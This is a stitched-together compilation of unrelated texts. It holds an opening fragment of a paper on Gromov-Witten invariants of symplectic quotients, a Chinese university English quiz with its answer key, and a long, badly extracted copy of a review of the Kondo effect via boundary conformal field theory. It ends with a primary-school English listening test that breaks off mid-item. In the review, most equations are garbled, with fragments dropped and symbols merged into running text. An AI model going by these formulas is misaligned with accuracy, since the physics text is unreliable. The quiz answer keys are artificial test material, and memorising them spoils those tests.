semi-stable points of M g,k (X, A) from a symplectic point of view, which will be useful later on in section 6 where we will give an algebro-geometric construction of the space of maps needed for deﬁning certain ‘Hamiltonian invariants’. We compute an explicit formula for the moment map on the space of stable maps which corresponds to a C∗ -action (proposition 3.4), and using it we give (theorem 3.7) a second proof for theorem 2.5. Finally, section 4 closes the ﬁrst part of the article giving a partial answer to the initial problem, that of comparing the genus zero GW-invariants of X and X/ /G. Theorem 4.1 states, under certain transversality assumptions which are technical in nature, that if G acts freely on the semi-stable locus of X , A is a spherical class for which a representative may be found to lie entirely in the stable locus X ss and ˆ denotes the push-forward class in X/ A /G, then

南开大学智慧树知到“公共课”《大学英语(三)》网课测试题答案3

南开大学智慧树知到“公共课”《大学英语（三）》网课测试题答案（图片大小可自由调整）第1卷一.综合考核(共15题)1.-What a beautiful dress in the window! - ____.A.I have no idea about itB.Yes, really. If I had the money, I'd buy itC.You can't wear itD.There's no money to buy it2.If I had more money, I () travel around the world.A.willB.wantC.wouldD.like3.-Nice weather, isn't it? - ____.A.I'm not sureB.You know it wellC.Yes, it isD.Yes, it isn't4.The next train to Beijing ____ here at 3'o clock.A.is dueB.is due toC.is due forD.due to5.He is looking forward () his thesis.A.to writeB.to writingC.in writingD.on writing 6.-I don't think I'm late. Excuse me, whats the time?- ____.A.It says 8:00. But it's 5 minutes slowB.I'm sorry I've forgot the timeC.I was caught in the traffic jamD.I'm sorry to keep you waiting7.Once you're into basketball, you'll find ____ great fun to play as a way to relax.A.itB.thatC.thisD.what8.-What a beautiful dress in the window! -()A.I have no idea about itB.Yes, really. If I had the money, I'd buy itC.You can't wear itD.There's no money to buy it9.We advised him to give up smoking, () a lot of exercise.A.to doB.and to doC.and doD.and doing10.- Look at the rainbow! What a view! - ()!A.Yes. What beautiful it isB.Yes. How beautiful it isC.Yes. What a beautiful it isD.Yes. How a beautiful it is11.-I haven't seen Belly for 10 years.- ____ .A.Either have IB.Neither have IC.Haven't ID.So have I12.It () that I met one of my old classmates on my way home yesterday.A.took placeB.occurredC.broke outD.happened13.-I've ordered pizza and salad. What else do you want? -().A.You are kind to invite meB.Yes, pleaseC.A beer is fine for me. I'm not hungry yetD.I find pizza is tasty14.Silk ____ by Chinese for thousands of years now.A.has usedB.has been usedC.was usedD.is used15.In the fifties last century many, new cities ____ in the desert.A.bring upB.make upC.grew upD.build up第2卷一.综合考核(共15题)1.Are trees ____ along the road right now?A.plantB.plantingC.being plantedD.planted2.We are told that it is()we are born that decides our nationality.A.the countryB.anywhereC.whereD.somewhere3.The boy () to school already.A.has takenB.has been takingC.is takenD.has been taken4.I have lived here () 1997.A.forB.sinceC.atD.after5.I can do that job ____ myself.A.byB.onC.withD.不填6.The refrigerator is(); we must buy some food.A.bareB.blankC.hollowD.empty7.-I heard your motorcar was stolen. -().A.I'm sorry to hear thatB.It doesn't matterC.Everybody knew it except youD.Mine wasn't but Bills was8.He goes to school by bike, and the () takes half an hour.A.travelB.journeyC.voyageD.trip9.-David, you've been losing your temper over nothing lately. -().A.I haven't been getting much sleep eitherB.You'd better not push yourself too hard, or you'll get sickC.I'm sorry. I shouldn't have blown up like thatD.You'd better do exercises regularly10.Dr. Hoffman proposed that we()the meeting until next week.A.put offB.to put offC.putting offD.need put off11.-Where () the recorder? I can't see it anywhere. -I () it right here, but now it's gone.A.did you put; have putB.have you put; putC.had you put; have putD.were you putting; have put12.The () is concerned with successful election, whereas the statesman is interested in the future of his people.A.politicsB.politicianC.politicalD.politically13.Not always ____ they want (to).A.people can do whatB.can people do whatC.people cannot do whatD.can't people do what14.-May I help you, madam? -().A.Sorry, I have no ideaB.Yes, I know what to buyC.You'd better give me a handD.Yes, I'd like 2 kilos of oranges15.Mr Liu, ____ at university in Changchun, works at Changhou Company now.A.whose wife I metB.I met whose wifeC.I met his wifeD.his wife I met第1卷参考答案一.综合考核1.参考答案：B2.参考答案：C3.参考答案：C4.参考答案：A5.参考答案：B6.参考答案：A7.参考答案：A 8.参考答案：B9.参考答案：C10.参考答案：B11.参考答案：B12.参考答案：D13.参考答案：C14.参考答案：B15.参考答案：C第2卷参考答案一.综合考核1.参考答案：C2.参考答案：C3.参考答案：D4.参考答案：B5.参考答案：A6.参考答案：D7.参考答案：D8.参考答案：B9.参考答案：C10.参考答案：A11.参考答案：B12.参考答案：B13.参考答案：B14.参考答案：D15.参考答案：A。

Conformal Field Theory Approach to the Kondo Effect

a r X i v :c o n d -m a t /9512099v 1 12 D e c 1995Conformal Field Theory Approach to the Kondo Eﬀect ∗Ian AﬄeckCanadian Institute for Advanced Research and Physics Department,University of British Columbia,Vancouver,BC,V6T 1Z1,CanadaRecently,a new approach,based on boundary conformal ﬁeld theory,has been applied to a variety of quantum impurity problems in condensed matter and particle physics.A particularly enlightening example is the multi-channel Kondo problem.In this review some earlier approaches to the Kondo problem are discussed,the needed material on boundary conformal ﬁeld theory is developed and then this new method is applied to the multi-channel Kondo problem.OUTLINEI.Renormalization Group and Fermi Liquid Approaches to the Kondo Eﬀect A)Introduction to The Kondo Eﬀect B)Renormalization Group Approach C)Mapping to a One Dimensional Model D)Fermi Liquid Approach at Low TII.Conformal Field Theory (“Luttinger Liquid”)Techniques:Separation of Charge and Spin De-grees of Freedom,Current Algebra,“Gluing Conditions”,Finite-Size SpectrumIII.Conformal Field Theory Approach to the Kondo Eﬀect:“Completing the Square”A)Leading Irrelevant Operator,Speciﬁc Heat,Susceptibility,Wilson Ratio,Resistivity at T >0IV.Introduction to the Multi-Channel Kondo Eﬀect:Underscreening and Overscreening A)Large-k LimitB)Current Algebra Approach V.Boundary Conformal Field TheoryVI.Boundary Conformal Field Theory Results on the Multi-Channel Kondo Eﬀect:A)Fusion and the Finite-Size Spectrum B)Impurity EntropyC)Boundary Green’s Functions:Two-Point Functions,T=0Resistivity D)Four-Point Boundary Green’s Functions,Spin-Density Green’s Function E)Boundary Operator Content and Leading Irrelevant Operator:Speciﬁc Heat,Susceptibility,Wilson Ratio,Resistivity at T >0I.RENORMALIZATION GROUP AND FERMI LIQUID APPROACHES TO THE KONDO EFFECTA.Introduction to the Kondo EﬀectMost mechanisms contributing to the resistivity of metals,ρ(T),give eitherρ(T)decreasing to0, as T→0(phonons or electron-electron interactions),orρ(T)→constant,as T→0(non-magnetricimpurities).However,metals containing magnetic impurities show aρ(T)which increases as T→0.This was explained by Kondo1in1964using a simple Hamiltonian:H= kαψ†α kψ kαǫ(k)+λ S· k k′ψ† k σ+...]2(1.2)THere D is the band-width,νthe density of states.This result stimulated an enormous amount oftheoretical work.As Nozi`e res put it,“Theorists‘diverged’on their own,leaving the experimentrealities way behind”.2What happens at low T,i.e.T∼T K=De−1ψ( 0,t) ,2where theﬁelds are in the interaction picture.EFk F2D’Ek2DFIG.1.Reduction of the cut-oﬀfrom D to D ′.As S(t )is independent of t ,we simply multiply powers of S using [S a ,S b ]=iǫabc S c ,S2=s (s +1).We must time-order S ’s which don’t commute.The ﬁrst few diagrams are shown in Figure (2).In 2nd order in λ,we have:−λ22ψ(t )ψ†(t ′)σb2λ2dt dt ′ψ†σa2ψT ψ(t )ψ†(t ′) (θ(t −t ′)S a S b +θ(t ′−t )S b S a )=λ22ψ· Ssn(t −t ′) ψ(t )ψ†(t ′) ,(1.3)where sn (t −t ′)is the sign-function which arises from T -ordering spins.FIG.2.Feynman diagrams contributing to renormalization of the Kondo coupling constant to third order.We see that the integraldtǫ(t )G (t )=−idt(2π)3dωiω+δ+1ω−ǫk +iδsn(ǫk )(1.5)=d 3 k|ǫk |≈2νDD ′dǫD ′.(1.6)Thusδλ=νλ2lnDd ln D=−νλ2.(1.8)We see that lowering the band cut-oﬀincreases λor,deﬁning a length-dependent cut-oﬀ,l ∼v F /D ,dλ1−νλ0lnD 0νλ0,If λ0<0(ferromag-netic),λeﬀ(D )→0.See Figure(3).effλFIG.3.RG ﬂow of the Kondo coupling.The behaviour at temperature T is determined by λeﬀ(T ):ρ(T )→0as T →0for the ferromag-netic case.What happens for the antiferromagnetic case?C.Mapping to a One-Dimensional ModelThe above discussion can be simpliﬁed if we map the model into a one dimensional one.Weassume a spherically symmetricǫ( k),ǫ(k)=k2√2ψ0,k′· S,(1.12)whereν=k2F/2π2v F is the density of states per spin.This can also be written in terms of radialco-ordinate.We eliminate all modes except for a band width2D:|k−k F|<D.Deﬁning left andright movers(incoming and outgoing waves),ΨL,R(r)≡ ∧−∧dke±ikrψ0(k+k F),⇒ψL(0)=ψR(0),(1.13) we haveH0=v FdrψL−ψ†R i d2ψL(0)· S.(1.14)Here we have redeﬁned a dimensionless Kondo coupling,λ→λν.Using the notationψL=ψL(x,τ)=ψL(z=τ+ix),ψR(x,τ)=ψR(z∗=τ−ix),(1.15) whereτis imaginary time and x=r,(and we set v F=1)we haveψL(z)ψ+L(0) =1z∗.(1.16) Alternatively,sinceψL(0,τ)=ψR(0,τ)ψL=ψL(z),ψR=ψR(z∗),(1.17) we may considerψR to be the continuation ofψL to the negative r-axis:ψR(x,τ)≡ψL(−x,τ).(1.18) Now we obtain a relativistic(1+1)dimensionalﬁeld theory(a“chiral”one,containing left-moversonly)interacting with the impurity at x=0withH0=v FdxψL(1.19)and H INT as in Eq.(1.14).See Figure(4).LLL RFIG.4.Reﬂecting the left-movers to the negative axis.D.Fermi Liquid Approach at Low TWhat is the T →0behavior of the antiferromagetic Kondo model?The simplest assumption is λeﬀ→∞.But what does that really mean?Consider the strong coupling limit of a lattice model,2for convenience,in spatial dimension D =1.(D doesn’t really matter since we can always reduce the model to D =1.)H =ti(ψ†i ψi +1+ψ†i +1ψi )+λ S ·ψ†0σl(n +1/2)λ=∞:k =πnNear the Fermi surface the energies are linearly spaced.Assuming particle-hole symmetry,the Fermi energy lies midway between levels or on a level.[See Figures(5)and(6).]The two situations switch with the phase shift.Wilson’s numerical RG scheme3involves calculating the low-lying spectrum numerically and looking for this shift.This indicates thatλrenormalizes to∞even if it is initially small.However,now we expect the screening to take place over a longer length scaleξ∼v FDe1/νλ.(1.24)In other words,the wave function of the screening electron has this scale.We get low energy Bloch states of free electrons only for|k−k F|<<1/ξ(so we must take l>>ξ).[See Figure(7).]The free electron theory with a phase shift corresponds to a universal stable low energyﬁxed point for the Kondo problem.This observation determines the T=0resistivity for an array of Kondo impurities at random locations of low density n i.It is the same as for non-magnetic s-wave scatterers with a π/2phase shift at the Fermi energy.δ=π/2gives the so-called unitary limit resistivity:ρu=3n ik-kFconditions.FIG.6.Free fermion energy levels with periodic boundary1k-kFFIG.7.Non-interacting Bloch states with a vanishing boundary condition occur for|k−k F|<<v F/T K.The low-T behaviour,so far,seems trivial.Much of the interesting behaviour comes from the leading irrelevant operator.The impurity spin has disappeared(screened)from the description ofthe low-T physics.However certain interactions between electrons are generated(at the impuritysite only)in the process of eliminating the impurity spin.We can determine these by simply writingthe lowest dimension operators allowed by symmetry.It is simplest to work in the1D formulation,with left-movers only.We write the interaction in terms ofψL,obeying the new boundary condition(but notψL+....(1.26)dxThe length and time dimensions are equivalent(we convert with v F),[H]=E⇒[ψ]=E1The interactions are localδH= iλi O i(x=0),[λi]+[O i]=1.Soλi has negative energy dimension if[O i]>1,implying that it is irrelevant.In RG theory one usually deﬁnes a dimensionless coupling constant by multiplying powers of the cut-oﬀD,if[λi]=E−a,˜λi≡λi D a,˜λidecreases as we lower D:d˜λidx ψα(0)−id3v FlT+aT3v FT+ln2.(1.30)At low T,the impurity entropy decreases to0:S(T)=πlT K.(1.31)In general we may write:S(T)−πl2πv F +b2πv F +12πv F +1ln(T/T K)+... .(1.35)In general,we may write:χ−lTf(T/T K),(1.36)where f(T/T K)is another universal scaling function.See Figure(9).T KKTKln (T/T )4T+...Tχ 1 - 1imp1bFIG.9.Qualitative behaviour of the impurity susceptibility.The temperature dependent part of the low T resistivity for the dilute random array is 2nd orderin perturbation theory,ρ=ρu [1−dTWe start by considering a left-moving spinless fermion ﬁeld with Hamiltonian density:H =1dxψL .(2.1)Deﬁne the current (=density)operator,J L (x −t )=:ψ+L ψL :(x,t )=lim ǫ→0[ψL (x )ψL (x +ǫ)− 0|ψL (x )ψL (x +ǫ)|0 ](2.2)(Henceforth we generally drop the subscripts “L”.)We will reformulate the theory in terms ofcurrents (key to bosonization).Consider:J (x )J (x +ǫ)asǫ→0=:ψ†(x )ψ(x )ψ†(x +ǫ)ψ(x +ǫ):+[:ψ†(x )ψ(x +ǫ):+:ψ(x )ψ†(x +ǫ):]G (ǫ)+G (ǫ)2G (ǫ)= 0|ψ(x )ψ†(x +ǫ)|0 =1ǫ2]=lim ǫ→01dxψ:H =1(x −y −iδ)2+1dx1x −y +iδ=2πid2∂φ2∂φ∂tφ(y )]=iδ(x −y )(2.7)We can again decompose it into the left and right-moving parts,(∂t 2−∂x 2)φ=(∂t +∂x )(∂t −∂x )φφ(x,t )=φL (x +t )+φR (x −t )(∂t −∂x )φL ≡∂−φL =0,∂+φR =0H =14(∂+φ)2=14(∂+φL )2(2.8)Consider the Hamiltonian density for a left-moving boson ﬁeld:H =1dxδ(x −y )(2.9)Comparing to the Fermionic case,we see that:J L =√π∂+φ,(2.10)12since the commutation relations and Hamiltonian are the same.That means the operators are the same with appropriate boundary conditions.Let’s compare the spectra.For the Fermionic case,choose boundary condition:ψ(l)=−ψ(−l)(i.e.ψL(l)+ψR(l)=0),k=π2),n=0,±1,±2...(2.11)[See Figure(5).Note that we have shifted k by k F.]Consider the minimum energy state of chargeQ(relative to the ground state).See Figure(11).We have the single Fermion energy:E=v F k,(2.12) so:E(Q)=v F π2)=v Fπl ( 1k-kFFIG.12.A particle-hole excitation in which three electrons are raised four levels and then one electron is raised three levels.Now consider the bosonic spectrum.What are the boundary conditions?Try the periodic one,φ(l)=φ(−l)⇒k=πml (∞ 1n m·m),n m=occupation number:0,1,2,...(2.16)Where does the Q2term in Eq.(2.14)come from?We need more general boundary condition on the bosonﬁeld.Letφbe an angular variable:φL(−l)=φL(l)+√πl·(x+t)+∞m=114πm(e−iπm2 ∂φ2 ∂φl[14πφL,(2.19) which gives the correct Green’s function and implies the same angular deﬁnition ofφL.For the Kondo eﬀect we are also interested in the phase-shifted boundary condition:[See Figure(6).]ψL(l)=+ψL(−l),k=πl Q(Q−1)We have the degenerate ground state,Q=0or1,which correspond to an anti-periodic boundary condition onφ,φ(l)=φ(−l)+√2)E=π2(Q−1l(1dxψα,(α=1,2,summed).(2.22)Now we have charge and spin currents(or densities).We can write H in a manifestly SU(2)invariant way,quadratic in charge and spin currents:J=:ψα†ψα:, J=ψ†ασβα4:ψ†αψαψ†βψβ:+3idxψα+c-number,J2=:ψ†αψαψ†βψβ:+2iψα+d8πJ2+12[J↑+J↓,J↑−J↓]=0.(2.26) From[J, J]=0,we see that H is sum of commuting charge and spin parts.[J a(x),J b(y)]=2πψ†[σ2b]ψ·δ(x−y)+tr[σ2b]2πiddxδ(x−y).(2.27)We obtain the Kac-Moody algebra of central charge k=1.More generally the coeﬃcient of the second term is multiplied by an integer k.Fourier transforming,Jn≡1lx J(x),[J an,J b m]=iǫabc J c n+m+1l18πJ2+14π(J2↑+J2↓)=14[(∂+(φ↑+φ↓2))2+(∂+(φ↑−φ↓2))2] =1Now we have introduced two commuting charge and spin free massless bosons.SU(2)symmetry is now concealed but boundary condition on φs must respect it.Consider the spectrum of fermion theory with boundary condition:ψ(l )=−ψ(−l ),E =πV22+Q ↓2(Q ↑−Q ↓)E =πv F4Q 2+(S z )2+∞ 1mn c m+∞1mn s m ](2.32)=E c +E sφc =√2√l (x +t )+...φs=π2S zl[1l[12),(±1,0).(2.36)Now Q =2S z +1(mod 2);i.e.we “glue”together charge and spin excitations in two diﬀerent ways,either(even,integer)⊕(odd,half-integer)or (even,half-integer)⊕(odd,integer),(2.37)depending on the boundary conditions.Theπl·(integer).Likewise for all half-integer spin states,(s z )2=1dxψLα+λψ†αLσβα8πJ 2+1The Kondo interaction involves spinﬁelds only,not chargeﬁelds:H=H s+H c.Henceforth we only consider the spin part.In Fourier transformed form,H s=π3∞ n=−∞ J−n· J n+λ∞ n=−∞ J n· S)[J a n,J b m]=iǫabc J c n+m+ndlnD =−λ2+···.That is a smallλ>0grows.What is the infrared stableﬁxed point?Considerλ=23l∞ n=−∞[( J−n+ S)·( J n+ S)−32δabδn,−m.(3.4)H is quadratic in the new currents, J n≡ J n+ S,which obey the same Kac-Moody algebra!Whatis the spectrum of H(λ=21−32-Integer.See Figure(13).This is equivalent to aπ2-integer)(even,16πJ(x)2+λ1 J(0)2δ(x).(3.9)This is the only dimension-2rotationally invariant operator in the spin sector.We have succeededin reducing two dimension-2operators to one.The other one is the charge-operatorλ2J(0)2δ(x),λ2=0because there is no interaction in the charge sector(with other regularization we expectλ1∼1D<<λ1).171/2 integer-s tower towerinteger-s FIG.13.At λ=2/3the 1/2-integer-spin conformal tower is mapped into the integer-spin conformal tower.Now we calculate the speciﬁc heat and susceptibility to 1st order in λ1.Susceptibility of left-moving free fermions:0-th orderM =12)−n (ǫ−h2π(forT <<D )1st order χ=13T 2[dx J(x )]2 J (0)2 +...(3.10)A simplifying trick is to replace:δH =λ1 J2(0)δ(x )−→λ16π+λ1l)H.(3.13)Equivalently in a thermal average,T →Tl≡T (λ1)(3.14)χ(λ1,T )=11+3πλ1/l χ(0,T (λ1))≈[1−3πλ12π−3λ1where in the last equality theﬁrst term represents the bulk part and the second one,of order∼13.(3.16) Each free left-moving boson makes an identical contribution.1st order inλ1C s(λ1,T)=∂3T3−π2λ1T(3.17)δC sl =2δC sδC/C =2=C8π2r1r2[e−ik F(r1+r2)(G LR(r1,r2)−G LR,0(r1,r2))+h.c.]=G03(r1)ΣG03(r2).(3.20) The self-energyΣdepends only on the frequency.It gets multiplied by the impurity concentationfor aﬁnite density(in the dilute limit).We must calculate the1D Green’s function G LR(r1,r2,ω) perturbatively inλO(λ01):G LR(r1,r2)=−G0LL(r1,−r2)=−G0LL(r1+r2)=−G0LR(r1,r2),(3.21) where the(−)sign comes from the change in boundary conditions,G LR−G0LR=−2G0LR+O(λ1)(3.22) To calculate to higher orders it is convenient to write the interaction as:J2=−34(ψ†αddxψα)(3.23)To second order inλ1,we have the Feynman diagrams shown in Figure(14),giving:ΣR(ω)=−in2(3πλ1)2ω2−12πν[1−e2iδ(ω)]+ΣR inel(ω)δ=π2+...1τ(ω)=n i2(3πλ1)2ω2−1The leadingλ1dependence is O(λ21)in this case.The O(λ1)term inΣR is real.We calculate the conductivity from the Kubo formula.(There is no contribution from the scattering vertex for pure s-wave scattering.)σ(T)=2e2(2π)3 −∂n2n i[1+18(3πλ1)2(ǫ2k+(π2T2)]ρ(T)=1π(ev Fν)2[1−9T K.Numerical or Bethe ansatz methods are needed toﬁnd the precise value ofλ1(D,λ)∝1d lnD =−νλ2+k2ψ0,(4.3)forλ>0(antiferromagnetic case)the minimum energy state has maximum spin for electrons at0i.e.spin=k/2.Coupling this spin-k/2to a spin-s,we don’t get a singlet if s=k/2,but ratheran eﬀective spin of size|s−k/2|.[See Figure(15).]The impurity is underscreened(k/2<s)or overscreened(k/2>s).20FIG.15.Formation of an eﬀective spin at strong Kondo coupling.k=3,s=1and s eﬀ=1/2. Now let tλ2<<1See Figure(16).What is the sign ofλeﬀ?The coupling of the electron spins is antiferromagnetic:λeﬀ S e1,0· S e1,1,withλeﬀ>0(as in the Hubbard model).But we must combine spinsSeﬀ= S+ Sel,0.(4.4)For k2>s, S ef f||+ S el,0.So,ultimately,λeﬀ<0in the underscreenedcase andλeﬀ>0in the overscreened case.In theﬁrst(underscreened)case,the assumptionλ→∞was consistent since a ferromagneticλeﬀ→0under renormalizaton and this impliesλ→∞,since λeﬀ∼−tFIG.18.The overscreened case with s=1/2,k=2.rge-k LimitTheβ-function is:β=λ2−kdk λc=2λc−3k.(4.7) This implies that the leading irrelevant coupling constant at the non-trivial(infrared)ﬁxed pointhas dimension2/k at large k,so that(λ−λc)scales asΛ2/k.Thus the leading irrelevant operatorhas dimension(1+2/k).This is not an integer!This implies that this critical point is not a Fermiliquid.B.Current Algebra ApproachWe can gain some insight into the nature of the non-trivial critical point using the current algebraapproach discussed in the previous section for the k=1case.It is now convenient to use a formof bosonization which separates spin,charge andﬂavour(i.e.channel)degrees of freedom.This representation is known as a conformal embedding.We introduce charge(J),spin( J)andﬂavour(J A)currents.A runs over the k2−1generators of SU(k).The corresponding elements of thealgebra are written T A.These are traceless Hermitean matrices normalized so that:tr T A T B=12 δb cδd a−12ψiβJ A≡ψ†iα(T A)j iψjα.(4.11) (All repeated indices are summed.)It can be seen using Eq.(4.9)that the free fermion Hamiltoniancan be written in terms of these currents as:H=12π(k+2) J2+1C V(G)+k,(4.14) where Dim(G)is the dimension of the group and C V(G)is the quadratic Casimir in the fundamental representation.For SU(k)this has the value:C V(SU(k))=k.(4.15) Thus the total value of the central charge,c,is:c TOT=1+3·kk+2=2k,(4.16)the correct value for2k species of free plicated“gluing conditions”must be imposed tocorrectly reproduce the free fermion spectra,with various boundary conditions.These were workedout in general by Altshuler,Bauer and Itzykson.27The SU(2)k sector consists of k+1conformaltowers,labelled by the spin of the lowest energy(“highest weight”)state:s=0,1/2,1,...k/2.32,33 We may now treat the Kondo interaction much as in the single channel case.It only involves thespin sector which now becomes:H s=12+k,(4.18) where the Hamiltonian reduces to its free form after a shift of the current operators by S whichpreserves the KM algebra.We note that at large k this special value ofλreduces to the one corresponding to the critical point:λc→2/k.While this observation is tantalizing,it leaves many open questions.We might expect that some rearranging of the(k+1)SU(2)k conformal towers takes place at the critical point but preciselywhat is it?Does it correspond to some sort of boundary condition?If so what?How can wecalculate thermodynamic quantities and Green’s functions?To answer these questions we need to understand some more technical aspects of CFT in the presence of boundaries.V.BOUNDARY CONFORMAL FIELD THEORY We will assume that the critical point corresponds to a conformally invariant boundary conditionon the free ing the general theory of conformally invariant boundary conditions developed by Cardy28we can completely solve for the critical properties of the model.Why assume that the critical point corresponds to such a boundary condition?It is convenient to work in the space-(imaginary)time picture.The impurity then sits at the boundary,r=0of the half-plane r>0 on which the Kondo eﬀect is deﬁned.If we consider calculating a two-point Green’s function when both points are taken very far from the boundary(with their separation heldﬁxed)then we expectto obtain bulk behaviour,unaﬀected by the boundary.[See Figure(19).]This,at long distances and times is the conformally invariant behaviour of the free fermion system.Very close to the boundary,we certainly do not expect the behaviour to be scale invariant(let alone conformallyinvariant)because various microscopic scales become important.The longest of these scales is presumably the Kondo scale,ξK≈v F/T L≈ae1/νλ.Beyond this distance,it is reasonable to expect scale-invariant behaviour.However,if the two points are far from each other compared to theirdistance from the boundary[Figure(20)]then the behaviour is still inﬂuenced by the boundary even when both points are far from it.We have a sort of boundary-dependent termination of the bulk conformally invariant behaviour.The dependence on the details of the boundary(such as the value ofξK)drops out.We may think of various types of boundaries as falling into universality classes,each corresponding to a type of conformally invariant behaviour.Rather remarkably,the above statements hold true whether we are dealing with a2-dimensional classical statistical system with some boundary condition imposed,or dealing with a(1+1)-dimensional quantum system with some dynamical degrees of freedom living on the boundary.In fact,we already saw an example of this in the single-channel Kondo problem.The dynamical impurity drops out of the description of the low-energy physics and is replaced by a simple,scale-invariant boundary condition,ψL=−ψR.FIG.19.The bulk limit.ξFIG.20.The boundary limit.Precisely what is meant by a conformally invariant boundary condition?Without boundaries,conformal transformations are analytic mappings of the complex plane:z ≡τ+ix,(5.1)into itself:z →w (z ).(5.2)(Henceforth,we set the Fermi velocity,v F =1.)We may Taylor expand an arbitrary conformaltransformation around the origin:w (z )=∞ 0a n z n ,(5.3)where the a n ’s are arbitrary complex coeﬃcients.They label the various generators of the conformalgroup.It is the fact that there is an inﬁnite number of generators (i.e.coeﬃcients)which makesconformal invariance so powerful in (1+1)dimensions.Now suppose that we have a boundary atx =0,the real axis.At best,we might hope to have invariance under all transformations whichleave the boundary ﬁxed.This implies the condition:w (τ)∗=w (τ).(5.4)We see that there is still an inﬁnite number of generators,corresponding to the a n ’s of Eq.(5.3)except that now we must impose the conditions:a ∗n =a n .(5.5)We have reduced the (still ∞)number of generators by a factor of 1/2.The fact that there is still an∞number of generators,even in the presence of a boundary,means that this boundary conformalsymmetry remains extremely powerful.To exploit this symmetry,following Cardy,it is very convenient to consider a conformally invariantsystem deﬁned on a cylinder of circumference βin the τ-direction and length l in the x direction,with conformally invariant boundary conditions A and B at the two ends.[See Figure (21).]Fromthe quantum mechanical point of view,this corresponds to a ﬁnite temperature,T =1/β.Thepartition function for this system is:Z AB =tr e −βH lAB ,(5.6)where we are careful to label the Hamiltonian by the boundary conditions as well as the length ofthe spatial interval,both of which help to determine the spectrum.Alternatively,we may make amodular transformation,τ↔x .Now the spatial interval,of length,β,is periodic.We write thecorresponding Hamiltonian as H βP .The system propagates for a time interval l between initial andﬁnal states A and B .Thus we may equally well write:Z AB =<A |e −lH βP |B >.(5.7)Equating these two expressions,Eq.(5.6)and (5.7)gives powerful constraints which allow us todetermine the conformally invariant boundary conditions.βBlA FIG.21.Cylinder of length l ,circumference βwith boundary conditions A andB at the two ends.To proceed,we make a further weak assumption about the boundary conditions of interest.We assume that the momentum density operator,T−¯T vanishes at the boundary.This amounts to a type of unitarity condition.In the free fermion theory this becomes:ψ†αi L ψLαi(t,0)−ψ†αiRψRαi(t,0)=0.(5.8)Note that this is consistent with both boundary conditions that occured in the one-channel Kondoproblem:ψL=±ψR.Since T(t,x)=T(t+x)and¯T(t,x)=¯T(t−x),it follows that¯T(t,x)=T(t,−x).(5.9) i.e.we may regard¯T as the analytic continuation of T to the negative axis.Thus,as in ourprevious discussion,instead of working with left and right movers on the half-line we may work withleft-movers only on the entire line.Basically,the energy momentum density,T is unaware of theboundary condition.Hence,in calculating the spectrum of the system with boundary conditions Aand B introduced above,we may regard the system as being deﬁned periodically on a torus of length2l with left-movers only.The conformal towers of T are unaﬀected by the boundary conditions,A,B.However,which conformal towers occur does depend on these boundary conditions.We introducethe characters of the Virasoro algebra,for the various conformal towers:χa(e−πβ/l)≡ i e−βE a i(2l),(5.10) where E a i(2l)are the energies in the a th conformal tower for length2l.i.e.:E a i(2l)=π24l,(5.11)where the x a i’s correspond to the(left)scaling dimensions of the operators in the theory and c is theconformal anomaly.The spectrum of H l AB can only consist of some combination of these conformaltowers.i.e.:Z AB= a n a ABχa(e−πβ/l),(5.12)where the n a AB are some non-negative integers giving the multiplicity with which the various con-formal towers occur.Importantly,only these multiplicities depend on the boundary conditions,notthe characters,which are a property of the bulk left-moving system.Thus,a speciﬁcation of allpossible multiplicities,n a AB amounts to a speciﬁcation of all possible boundary conditions A.Theproblem of specifying conformally invariant boundary conditions has been reduced to determiningsets of integers,n a AB.For rational conformalﬁeld theories,where the number of conformal towersisﬁnite,only aﬁnite number of integers needs to be speciﬁed.Now let us focus on the boundary states,|A>.These must obey the operator condition:[T(x)−¯T(x)]|A>=0(∀x).(5.13) Fourier transforming with respect to x,this becomes:[L n−¯L n]|A>=0.(5.14) This implies that all boundary states,|A>must be linear combinations of the“Ishibashi states”:29|a>≡ m|a;m>⊗|a;0>.(5.17)(Note that while the states,|a;m>⊗S a0n a AB= b N a bc n b AA.(5.26)Here0labels the conformal tower of the identity operator.Importantly,the new boundary stateand multiplicities so obtained,obey Cardy’s equation.The right-hand side of Eq.(5.23)becomes:S a c<A|a0><a0|B>=<A|a0><a0|A>.(5.29)S a0This gives:b S a b n b AB=S ac S a0<A|a0><a0|A>=<A|a0><a0|B>,(5.30)proving that fusion does indeed give a new solution of Cardy’s equations.The multiplicities,n a BBare given by double fusion:n a BB= b,d N a bc N b dc n d AA.(5.31)[Recall that|B>is obtained from|A>by fusion with the primary operator c.]It can be checkedthat the Cardy equation with A=B is then obeyed.It is expected that,in general,we can generatea complete set of boundary states from an appropriate reference state by fusion with all possibleconformal towers.VI.BOUNDARY CONFORMAL FIELD THEORY RESULTS ON THE MULTI-CHANNEL KONDOEFFECTA.Fusion and the Finite-Size SpectrumWe are now in a position to bring to bear the full power of boundary conformalﬁeld theory on the Kondo problem.By the arguments at the beginning of Sec.V,we expect that the infraredﬁxed points describing the low-T properties of the Kondo Hamiltonian correspond to conformallyinvariant boundary conditions on free fermions.We might also expect that we could determinethese boundary conditions and corresponding boundary states by fusion with appropriate operatorsbeginning from some convenient,trivial,reference state.We actually already saw a simple example of this in Sec.III in the single channel,s=1/2,Kondo problem.There we observed that the free fermion spectrum,with convenient boundary conditionscould be written:(0,even)⊕(1/2,odd).(6.1) Here0and1/2label the SU(2)1KM conformal towers in the spin sector,while“even”and“odd”label the conformal towers in the charge sector.We argued that,after screening of the impurityspin,the infraredﬁxed point was described by free fermions with aπ/2phase shift,correspondingto a spectrum:(1/2,even)⊕(0,odd).(6.2) The change in the spectrum corresponds to the interchange of SU(2)1conformal towers:0↔1/2.(6.3) This indeed corresponds to fusion,with the spin-1/2primaryﬁeld of the WZW model.To see thisnote that the fusion rules for SU(2)1are simply[from Eq.(5.25)]:。

北京版英语小学六年级上学期期中试题及解答参考(2024年)

2024年北京版英语小学六年级上学期期中模拟试题及解答参考一、听力部分（本大题有12小题，每小题2分，共24分）1、Listen to the following dialogue and choose the best answer to complete the sentence.A. What’s the weather like today?B. How was your weekend?C. Did you go to the park yesterday?Answer: BExplanation: The speaker is asking about the listener’s weekend, indicating a casual and friendly conversation. Therefore, the best answer isB.2、Listen to the following passage and answer the question.Question: What are the students doing in this passage?A. They are having a science experiment.B. They are watching a movie.C. They are playing a game.Answer: AExplanation: The passage mentions that the students are conducting anexperiment in science class, so the correct answer is A.3、Question: What are the students doing in the morning break?A. They are playing soccer on the playground.B. They are having a class in the classroom.C. They are reading books in the library.Answer: AExplanation: The students are described as playing soccer on the playground in the conversation, so the correct answer is A.4、Question: How many students are in the school’s basketball team?A. 8B. 10C. 12Answer: BExplanation: The teacher mentions that there are ten students in the school’s basketball team, so the cor rect 